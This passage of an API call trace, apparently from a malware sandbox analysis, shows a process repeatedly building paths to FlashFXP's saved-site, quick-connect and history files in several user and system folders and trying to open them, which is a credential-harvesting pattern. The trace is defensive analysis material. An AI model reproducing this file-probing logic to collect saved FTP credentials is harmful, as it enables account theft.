(hMem=0x74a738) returned 0x0 [0047.377] LocalFree (hMem=0x74a670) returned 0x0 [0047.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.377] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0047.377] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.377] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0047.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned 50 [0047.377] lstrlenA (lpString="\\History.dat") returned 12 [0047.377] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a670 [0047.377] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3" [0047.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat" [0047.377] LocalFree (hMem=0x756820) returned 0x0 [0047.377] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x40 [0047.377] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x74a738 [0047.377] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat", lpDst=0x74a738, nSize=0x40 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat") returned 0x3f [0047.377] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\3\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\3\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.377] LocalFree (hMem=0x74a738) returned 0x0 [0047.377] LocalFree (hMem=0x74a670) returned 0x0 [0047.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.378] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.378] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.378] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0047.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned 50 [0047.378] lstrlenA (lpString="\\History.dat") returned 12 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a670 [0047.378] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4" [0047.378] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4", lpString2="\\History.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat" [0047.378] LocalFree (hMem=0x756820) returned 0x0 [0047.378] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x40 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x74a738 [0047.378] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat", lpDst=0x74a738, nSize=0x40 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat") returned 0x3f [0047.378] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\FlashFXP\\4\\History.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\flashfxp\\4\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.378] LocalFree (hMem=0x74a738) returned 0x0 [0047.378] LocalFree (hMem=0x74a670) returned 0x0 [0047.378] LocalFree (hMem=0x7469f0) returned 0x0 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.378] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.378] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.378] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x716ef8 [0047.378] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.378] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0047.378] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\3") returned 25 [0047.378] lstrlenA (lpString="\\Sites.dat") returned 10 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0047.378] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0047.378] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\3", lpString2="\\Sites.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\3\\Sites.dat") returned="C:\\ProgramData\\FlashFXP\\3\\Sites.dat" [0047.378] LocalFree (hMem=0x716ef8) returned 0x0 [0047.378] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x7548d0 [0047.378] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Sites.dat", lpDst=0x7548d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\3\\Sites.dat") returned 0x24 [0047.378] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\3\\Sites.dat" (normalized: "c:\\programdata\\flashfxp\\3\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.378] LocalFree (hMem=0x7548d0) returned 0x0 [0047.378] LocalFree (hMem=0x754820) returned 0x0 [0047.378] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.378] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x716ef8 [0047.378] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.378] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0047.378] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\4") returned 25 [0047.378] lstrlenA (lpString="\\Sites.dat") returned 10 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0047.378] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0047.378] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\4", lpString2="\\Sites.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\4\\Sites.dat") returned="C:\\ProgramData\\FlashFXP\\4\\Sites.dat" [0047.378] LocalFree (hMem=0x716ef8) returned 0x0 [0047.378] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0047.378] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x7548d0 [0047.378] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Sites.dat", lpDst=0x7548d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\4\\Sites.dat") returned 0x24 [0047.379] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\4\\Sites.dat" (normalized: "c:\\programdata\\flashfxp\\4\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.379] LocalFree (hMem=0x7548d0) returned 0x0 [0047.379] LocalFree (hMem=0x754820) returned 0x0 [0047.379] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.379] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0047.379] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758820 [0047.379] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.379] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0047.379] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\3") returned 25 [0047.379] lstrlenA (lpString="\\Quick.dat") returned 10 [0047.379] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0047.379] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0047.379] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\3", lpString2="\\Quick.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\3\\Quick.dat") returned="C:\\ProgramData\\FlashFXP\\3\\Quick.dat" [0047.379] LocalFree (hMem=0x758820) returned 0x0 [0047.379] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0047.379] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x7548d0 [0047.379] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\Quick.dat", lpDst=0x7548d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\3\\Quick.dat") returned 0x24 [0047.379] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\3\\Quick.dat" (normalized: "c:\\programdata\\flashfxp\\3\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.379] LocalFree (hMem=0x7548d0) returned 0x0 [0047.379] LocalFree (hMem=0x754820) returned 0x0 [0047.379] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.379] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0047.379] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758820 [0047.379] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.379] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0047.379] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\4") returned 25 [0047.379] lstrlenA (lpString="\\Quick.dat") returned 10 [0047.379] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0047.379] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0047.379] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\4", lpString2="\\Quick.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\4\\Quick.dat") returned="C:\\ProgramData\\FlashFXP\\4\\Quick.dat" [0047.379] LocalFree (hMem=0x758820) returned 0x0 [0047.379] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x25 [0047.379] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x7548d0 [0047.379] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\Quick.dat", lpDst=0x7548d0, nSize=0x25 | out: lpDst="C:\\ProgramData\\FlashFXP\\4\\Quick.dat") returned 0x24 [0047.379] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\4\\Quick.dat" (normalized: "c:\\programdata\\flashfxp\\4\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.379] LocalFree (hMem=0x7548d0) returned 0x0 [0047.379] LocalFree (hMem=0x754820) returned 0x0 [0047.379] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.380] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0047.380] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758820 [0047.380] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.380] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0047.380] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\3") returned 25 [0047.380] lstrlenA (lpString="\\History.dat") returned 12 [0047.380] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x754820 [0047.380] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\FlashFXP\\3" | out: lpString1="C:\\ProgramData\\FlashFXP\\3") returned="C:\\ProgramData\\FlashFXP\\3" [0047.380] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\3", lpString2="\\History.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\3\\History.dat") returned="C:\\ProgramData\\FlashFXP\\3\\History.dat" [0047.380] LocalFree (hMem=0x758820) returned 0x0 [0047.380] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0047.380] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0047.380] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\3\\History.dat", lpDst=0x7548d0, nSize=0x27 | out: lpDst="C:\\ProgramData\\FlashFXP\\3\\History.dat") returned 0x26 [0047.380] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\3\\History.dat" (normalized: "c:\\programdata\\flashfxp\\3\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.380] LocalFree (hMem=0x7548d0) returned 0x0 [0047.380] LocalFree (hMem=0x754820) returned 0x0 [0047.380] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.380] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0047.380] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x758820 [0047.380] lstrcpyA (in: lpString1=0x758820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.380] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0047.380] lstrlenA (lpString="C:\\ProgramData\\FlashFXP\\4") returned 25 [0047.380] lstrlenA (lpString="\\History.dat") returned 12 [0047.380] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x754820 [0047.380] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData\\FlashFXP\\4" | out: lpString1="C:\\ProgramData\\FlashFXP\\4") returned="C:\\ProgramData\\FlashFXP\\4" [0047.380] lstrcatA (in: lpString1="C:\\ProgramData\\FlashFXP\\4", lpString2="\\History.dat" | out: lpString1="C:\\ProgramData\\FlashFXP\\4\\History.dat") returned="C:\\ProgramData\\FlashFXP\\4\\History.dat" [0047.380] LocalFree (hMem=0x758820) returned 0x0 [0047.380] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\History.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0047.380] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0047.380] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\FlashFXP\\4\\History.dat", lpDst=0x7548d0, nSize=0x27 | out: lpDst="C:\\ProgramData\\FlashFXP\\4\\History.dat") returned 0x26 [0047.380] CreateFileA (lpFileName="C:\\ProgramData\\FlashFXP\\4\\History.dat" (normalized: "c:\\programdata\\flashfxp\\4\\history.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.380] LocalFree (hMem=0x7548d0) returned 0x0 [0047.380] LocalFree (hMem=0x754820) returned 0x0 [0047.380] LocalFree (hMem=0x7469f0) returned 0x0 [0047.380] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.380] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.380] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0047.380] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0047.380] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0047.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned 48 [0047.380] lstrlenA (lpString="\\Sites.dat") returned 10 [0047.380] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x74a670 [0047.380] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0047.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat" [0047.380] LocalFree (hMem=0x756820) returned 0x0 [0047.380] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0047.381] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a738 [0047.381] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat", lpDst=0x74a738, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat") returned 0x3b [0047.381] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\3\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.381] LocalFree (hMem=0x74a738) returned 0x0 [0047.381] LocalFree (hMem=0x74a670) returned 0x0 [0047.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.381] lstrlenA (lpString="\\FlashFXP\\4") returned 11 [0047.381] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0047.381] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0047.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned 48 [0047.381] lstrlenA (lpString="\\Sites.dat") returned 10 [0047.381] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x74a670 [0047.381] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4" [0047.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4", lpString2="\\Sites.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat" [0047.381] LocalFree (hMem=0x756820) returned 0x0 [0047.381] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0047.381] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a738 [0047.381] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat", lpDst=0x74a738, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat") returned 0x3b [0047.381] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\4\\Sites.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\4\\sites.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.381] LocalFree (hMem=0x74a738) returned 0x0 [0047.381] LocalFree (hMem=0x74a670) returned 0x0 [0047.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.381] lstrlenA (lpString="\\FlashFXP\\3") returned 11 [0047.381] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0047.381] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0047.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned 48 [0047.381] lstrlenA (lpString="\\Quick.dat") returned 10 [0047.381] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x74a670 [0047.381] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3" [0047.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3", lpString2="\\Quick.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat" [0047.381] LocalFree (hMem=0x756820) returned 0x0 [0047.381] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0047.381] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a738 [0047.381] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat", lpDst=0x74a738, nSize=0x3c | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat") returned 0x3b [0047.381] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\FlashFXP\\3\\Quick.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\flashfxp\\3\\quick.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.381] LocalFree (hMem=0x74a738) returned 0x0 [0047.381] LocalFree (hMem=0x74a670) returned 0x0 [0047.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.381] 